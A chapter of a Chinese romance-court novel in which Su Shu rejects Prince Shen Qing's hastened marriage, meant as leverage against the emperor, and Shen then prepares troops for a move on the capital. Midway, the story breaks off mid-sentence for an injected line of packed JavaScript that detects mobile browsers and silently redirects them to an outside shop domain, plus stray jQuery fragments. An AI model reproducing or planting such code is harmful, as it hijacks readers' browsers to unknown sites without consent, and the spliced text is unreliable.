苏纾接过来，发现他指的不是自己选定的日子，而是提前了。
苏纾行了一礼，眉头一蹙，问道：“王爷，您为什么突然将婚期提前了？”
“王府与苏家已经准备了许久，婚事早晚都要操办。如今京中流言越来越多，再拖下去，对你我都没有好处。”
这些理由听起来都说得通，苏纾却没有立即应下。
“当初是王爷亲口答应，由我选择婚期。如今忽然把婚约提前，总不可能只是因为几句流言。”
沈清拿回那张纸，放到两个人之间，盯着苏纾说道：“你我已有先帝起婚，如今只是提前一些，并非重新让你作一次决定。”
苏纾听出了他话里的变化，他已将她曾经的答应变成了不能反悔的凭据。
她没有与他争论，反而问起另一件事：“王爷今日进宫，是为了什么？”
“军务。”
“与镇北军有关？”
沈清把桌上的茶端起来，喝了一口道：“兵部核验各地军籍，不过是例行公事。”
苏纾抬眼看她，说出心中疑惑：“哦？例行公事居然能让王爷出宫以后连王府都不回，便来找我提前婚期了。”
沈清将茶盏放下。
苏纾继续道：“王爷若真想早日完婚，不会偏偏等到今日。”
她不知道发生了什么，但沈清今日表现得太急了，简直和之前判若两人。
“朝廷是不是查出了镇北军的问题？”
沈清没有回答，伸手将会客厅的门关得更紧了一些。
“不是什么要紧事，只是亲兵营的军籍存在一些旧账，陛下要重新点验，调走其中一部分人。”
苏纾从他的语气里听出来，这绝不是他口中的“不是什么要紧事”。
“所以王爷要提前成婚？”
沈清纠正道：“这是两件事。”
苏纾笑了一下；“倘若毫无关系，王爷今天就不会这么急着来找我。”
沈清被她逼得无处可避，终于将真正的想法说了出来：“只要你正式嫁入镇北王府，陛下在处置镇北军以前，总要顾及你的处境。”
苏纾脸上虽然挂着淡淡的笑意，但听到这一句，笑意慢慢收了回来。
原来如此。
沈清知道秦临在意她，所以想在兵部彻底查清亲兵营以前，将婚事先办下来。只要她成了镇北王妃，秦临再想动沈清，便不得不考虑她是否会被牵连。
“王爷要娶我，是因为陛下会顾忌我？”
“本王想娶你的心是真的，但镇北王府如今需要这桩婚事，也不是假的。这两件事并不冲突。”
他说得坦荡，甚至不认为这是什么难以启齿的算计。
“你嫁入王府以后，本王会遵守此前答应过你的事情。如今王府遇到难处，你的身份恰好能够让陛下有所顾忌，本王不认为这是利用。”
苏纾道：“因为在王爷心里，我一旦嫁给你，便理所当然应该与王府共同承担。”
“夫妻本为一体。”
“可我现在还不是王妃。”
“所以婚期才要提前。”
此时，两个人都没有再说话。
苏纾终于明白，她此前察觉到的那一点违和来自哪里。
她有些不悦，问道：“既是如此，王府已经开始筹备婚事了吗？”
沈清顿了顿，才答道：“府中确实在做准备。婚礼涉及的人和事太多，所以需要提前。”
苏纾笑了一下：“所以王爷今日究竟是来同我商量，还是来通知我？”
沈清皱起眉：“你已经答应过这门婚事，如今只是将日期提前了几日而已，而且当初婚期是你亲自选的，我想来也没什么大碍。”
“当初是当初。”
沈清的语气也重了：“婚姻不是今日愿意，明日便可以不愿意的儿戏。苏纾，本王身后有整个镇北王府，还有跟随本王多年的将士。本王不能只顾自己的否体面。”
苏纾这时候已经听懂了，可她不愿意成为任何人的抵偿。
“王爷只需要一场婚礼，便能让陛下投鼠忌器。可我一旦嫁进去，镇北王府与朝廷发生的所有冲突都会把我牵扯进去。你若被问罪，我是罪臣之妻；陛下若对你从轻处置，外面又会说他为了我徇私。这些后果，王爷提前算过吗？”
沈清没有回答。
他当然算过。如果这一次能够保全王府，那他也能够护住苏纾。等这一关过去，他仍然可以做一个尊重她、善待她的丈夫。
苏纾从他的停顿里得到了答案，她说道：“王爷算过，却还是来了，你甚至不认为这样对我会有什么问题。”
沈清耐着性子解释：“夫妻本为一体。你嫁入王府以后，王府的安危本就与你有关。本王会护着你，你自然也会成为王府的一部分。这不是利用，是夫妻之间应有的担当。”
沈清说得太自然了，苏纾听到这里，反而彻底作出了决定。
她以前便察觉到，沈清即便比其他男子开明，骨子里仍然认为妻子应该与夫家荣辱与共。他可以允许妻子为官，也可以给她自由，却默认这些自由不能凌驾于王府的利益之上。
平日没有冲突时，那些差异都能被温和体面掩盖。如今镇北王府面临危险，沈清第一个想到的，便是提前把她纳入王府。
苏纾站起身：“婚期不必提前了。”
沈清以为她只是拒绝本月末，正要开口，便听见她继续说道：“下月二十六也取消。这桩婚事，我不成了。”
沈清的脸色终于变了：“为什么？就因为婚期需要提前？”
“不是。”苏纾看着沈清，态度坚定道：“我原来以为没有情爱，只要相互尊重也能过下去，可现在连这一点都做不到了。”
沈清也站了起来：“是不是因为陛下？”
他终于问出了这句话。
“你从山中回来以后便与从前不同，”说着他笑了一声，面上尽是自嘲之色：“我早该想到的。”
苏纾直言道：“王爷若一定要将我的拒绝算成你与陛下之间的胜负，我们便更没有成婚的必要。”
沈清站在她与门口之间，沉声道：“先帝赐婚尚在，苏家与王府也已经向礼部答复过婚期。不是你说取消便能取消。”
“王爷可以不答应，我会自己向朝廷上疏，王府若仍旧按照原定日子迎亲，只能迎一顶空轿子回去。”
两个人僵持了一会儿，沈清最终向旁边让开一步。
苏纾走到门口又停了下来，“当初没有想清楚便答应议婚，是我对不起王爷。这件事该承担什么后果，我都认。但王爷不能因为我曾经答应错了一次，便要求我一错到底。”
她推门离开。
院中的长随远远见苏纾离开，才敢走进会客厅。
“王爷，婚期可是议定了？”
沈清拿起桌上那张本月末的吉日折了起来，纸张在他手里变了形。
“回府。”
苏纾重新回到正堂时，众人已经开始收拾东西。
卢轻蘅抱着卷宗凑过来：“谈完了？”
“谈完了。”
“那你们的婚期……”
“没有婚期了。”
“啊？”卢轻蘅愣在那里：“好好的王妃你不愿做？”
苏纾没有解释，带着尚未处理完的文书回了直舍。
她铺开奏疏纸，提笔书写起来：臣苏纾蒙先帝赐婚，昔日应婚，实出思虑不周。臣与镇北王并无结缡之心，若因旧旨强续婚约，既欺王爷，亦误两家。臣自请废止婚约，所有责罚，愿一力承担。
墨迹干透以后，她将奏书封好，按官员上疏的规程递了出去。
与此同时，沈清回到镇北王府。
长史已经将亲兵营实册找了出来，正等着他定夺。
“王爷，兵部只给了五日，如今已经过去大半。若主动交出实册，多出来的亲兵虽然会被拆散，王府与爵位却都能保住。”
沈清看着那本实册，揉了揉太阳穴，“明日你安排一趟，去苏家。”
季长缨第二日便去了苏家。
他带着先帝赐婚文书与两家此前送往礼部的婚期答复，话说得十分客气。
苏纾山中遇险，回来以后便突然要求退婚，未必不是一时冲动。王爷不愿让她将来后悔，所以请苏家先将人接回府中休养，婚事仍按原定日期筹备。
若礼部问起，苏家只需回称女儿身体不适，退婚并非深思熟虑后的决定。
苏家不敢直接答应，也不敢当面拒绝，只能先派人去女官署找苏纾。
苏纾很快便见到了家里人。
来人将王府的意思说了一遍，又压低声音劝道：“家中不是想逼你，只是这婚约毕竟是先帝所赐。镇北王说你从山
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17773190|205800||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
中回来以后心绪不宁，或许再过些日子便会改变主意。家里若直接支持退婚，万一朝廷追究抗旨之罪……”
苏纾语气淡淡道：“叫家里人放心吧，不会诛九族的。”
来人被她堵得说不出话：“那婚事……”
“停止准备，王府送来的东西一概不要收。”
苏家来人离开以后，卢轻蘅从旁边的书架后走了出来，脸上却全是担忧。
“镇北王看起来不像会逼婚的人。”
“人不到真正着急的时候，谁知道自己会做出什么。”
苏纾接过她手里的册子，没有再谈这件事。
她已经将退婚奏书递了出去，也把该说的话全部告诉了沈清。剩下就看沈清愿不愿意接受了。
镇北王府中，长史很快带回了苏家的答复。
“苏家怎么回复的？”
沈清坐在书房里，手里翻看着兵部再次送来的催办文书。
“苏纾已经明确告诉家中，退婚奏书是她亲笔所写。苏家若敢向礼部否认，她便会以欺君之罪上疏。苏家不敢再插手，也把王府送去的东西全部退了回来。”
长史又将兵部文书往前递了一些：“交册的期限只剩最后一日。兵部已经传话，若明日仍然见不到亲兵营实册，点验官便会直接进入营中清点。”
沈清阴沉着脸，沉沉吐出一口气。
他要是应下皇帝的最后通牒，仍然可以做镇北王。
但如果是这样，就再也没有与皇权相抗衡的底气。
长史劝道：“王爷，事情还没有到不可挽回的地步。只要咱们现在交出实册，陛下答应不会继续追究。至于婚约，以后未必没有转机呀。”
沈清冷笑了一下：“苏纾不会改变主意，陛下也不会真的放过我们。”
“可陛下答应过……”
“他保全的只是镇北王这个爵位。”
沈清起身走到墙边，墙上挂着一幅北境舆图，边关、驻军与粮道都由他亲手标注。镇北军在他手中多年，他比兵部任何人都清楚那片里的门道。
如今皇帝要他将跟随多年的亲兵交出去，今日是亲兵营，那明日呢？
“亲兵营如今有多少人可以立即调动？”
长史脸色一变：“王爷问这个做什么？”
“回答本王。”
长史吓得不轻，但看到沈清的面色，还是说道：“登记在册的亲兵都驻在京郊营地。未曾登记的那批人分散在王府庄子与附近几处旧营，若发出王府手令，今夜可以集结。”
“守卫京城东面的营官是谁？”
“是王爷从前的旧部，但他如今领的是朝廷军职，未必肯——”
“将本王的亲笔信给他。”
长史终于明白了沈清的打算，劝阻道：“王爷，兵部明日只是来点验军籍。现在交出实册，您仍然可以保住爵位。可一旦无诏调兵越过京郊，便再也不是军籍的问题了呀！”
沈清从墙上取下佩剑：“交出亲兵以后，这些人还会听本王的吗？”
他抽出佩剑看了看，又放回剑鞘，“他们虽说是朝廷的兵，但也是本王从北境带回来的兵。”
长史跪了下去：“王爷，不能再往前了。您最初只是想保全亲兵营，若今日带兵入京，朝廷便会以谋逆论处。镇北王府几代基业，也会毁在这一夜啊！”
沈清握着剑鞘，目光中透着坚定：“本王镇守北境多年，他一句话便要将本王的人全部拆散。今日交出亲兵，明日秦临便能继续收走镇北军。本王若什么都不做，镇北王府一样会毁。”
“至少人还在，爵位还在啊。”
“没有兵权的镇北王，只是任人宰割的臣子。”
沈清走回案前，取出镇北王兵符。
长史仍旧跪着：“王爷三思啊！”
“怕什么？本王只请陛下收回核验镇北军的命令，恢复亲兵营旧制。”
长史甚至都带上了哭腔：“若陛下不肯，那就是杀头的事情啊！”
沈清把兵符啪的一声压在兵部的催办文书上，“那便请到他肯为止。”
长史抬起头，最后问了一遍：“王爷，咱们看来是上疏，其他人看来就是，就是……带兵逼宫啊王爷！”
“不是逼宫，”沈清纠正道：“传令亲兵营，今夜换甲。京郊旧部接到手令以后，子时之前集结，咱们只是去兵、谏。”